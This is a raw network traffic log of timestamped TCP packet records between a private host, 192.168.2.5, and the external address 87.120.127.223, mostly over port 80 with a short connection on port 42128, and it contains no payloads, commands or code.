Oct 15, 2024 19:22:04.751956940 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.751964092 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.752006054 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.838833094 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.838859081 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.838891983 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.838907003 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.838934898 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.838949919 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.838979006 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.838994026 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.839030027 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.839047909 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.839047909 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.839047909 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.839047909 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.839061022 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.839082956 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.839101076 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.839124918 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.839143038 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.839293003 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.839293003 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.839293003 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.844523907 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.844552040 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.844578028 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.844604969 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.844710112 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.844710112 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882303953 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882328987 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882364035 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882385969 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882405996 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882407904 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882422924 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882426023 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882453918 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882468939 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882483959 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882503033 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882524967 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882555008 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882555008 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882563114 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882602930 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882620096 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882647038 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882662058 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882682085 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882708073 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882726908 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882750988 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882764101 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.882951975 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.882981062 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883021116 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883049965 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883111000 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883128881 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.883162975 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.883162975 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883183002 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883207083 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883224010 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.883244038 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883282900 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.883332014 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883352041 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883399963 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.883469105 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883488894 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883514881 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883543015 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.883694887 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883713961 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883737087 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.883738041 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.883783102 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.888689995 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.888722897 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.888741016 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.888822079 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.888842106 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.888854027 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.888866901 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.888878107 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.888948917 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889008999 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889039993 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889080048 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.889080048 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.889105082 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889151096 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.889175892 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889195919 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889234066 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.889313936 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889333963 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889357090 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.889375925 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.931996107 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.978113890 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978135109 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978163958 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978185892 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978204966 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978224039 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.978319883 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978399992 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978414059 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978434086 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.978434086 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.978442907 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978457928 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.978461981 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978485107 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978502035 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.978502989 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978528023 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.978543997 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.983558893 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.983592033 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.983609915 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.983634949 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.983663082 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.019870996 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.019895077 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.019917965 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.019949913 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.019957066 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.019968987 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.019994974 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020001888 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020011902 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020039082 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020040035 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020068884 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020083904 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020221949 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020252943 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020271063 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020277977 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020294905 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020309925 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020312071 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020339966 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020354986 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020550966 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020580053 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020586967 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020603895 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020632982 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020641088 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020651102 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020673990 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020687103 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020693064 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020715952 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020733118 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020737886 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020773888 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020776033 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.020951986 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.020996094 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.021070957 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021090984 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021136045 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.021212101 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021231890 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021271944 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.021317959 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021346092 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021367073 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021383047 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.021384954 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021409035 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.021428108 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.026823044 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.026854038 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.026878119 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.026878119 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.026904106 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.026921034 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.026988029 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027007103 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027029037 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.027049065 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027071953 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027087927 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.027179956 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027199030 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027228117 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.027266979 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027297974 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027314901 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027344942 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.027354002 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.027390003 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027728081 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027776003 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.027800083 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027815104 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.027863026 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.114501953 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114538908 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114562035 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114583969 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114588022 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.114615917 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114636898 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114660978 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114681005 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114701986 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114718914 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114742994 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114761114 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114785910 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.114814043 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.114814043 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.114814043 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.114814043 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.114814043 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.119184971 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.119214058 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.119240999 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.119244099 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.119412899 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154150963 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154167891 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154196024 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154203892 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154217958 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154231071 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154246092 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154257059 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154308081 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154308081 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154308081 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154308081 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154548883 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154563904 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154586077 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154593945 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154612064 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154620886 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154726982 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154726982 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154726982 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154896975 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154911995 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154933929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154942989 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154956102 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154968023 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154977083 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.154980898 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.154993057 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155011892 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155013084 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155023098 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155040026 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155050039 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155051947 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155065060 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155081987 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155082941 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155093908 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155103922 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155113935 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155133009 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155149937 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155159950 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155174971 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155186892 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155213118 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155375004 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155443907 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155452967 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155484915 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.155503035 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.155549049 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.160726070 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.160763025 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.160775900 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.160804033 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.160826921 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.160837889 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.160856009 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.160870075 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.160963058 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.160963058 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.161118031 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.161139011 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.161159039 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.161164999 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.161170006 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.161189079 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.161209106 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.161233902 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.161254883 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.165743113 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:05.171375036 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:05.171540976 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:09.710556984 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:09.715636969 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:09.715712070 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:09.721987963 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:09.727183104 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.082602978 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.087902069 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.088141918 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.094147921 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.099112034 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.447695971 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.583834887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.583864927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.583887100 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.583908081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.583929062 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.584024906 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.584264040 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.584283113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.584306955 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.584325075 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.584340096 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.584351063 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.584364891 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.584374905 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.584395885 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.584415913 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.635025024 CEST	49705	80	192.168.2.5	87.120.127.223
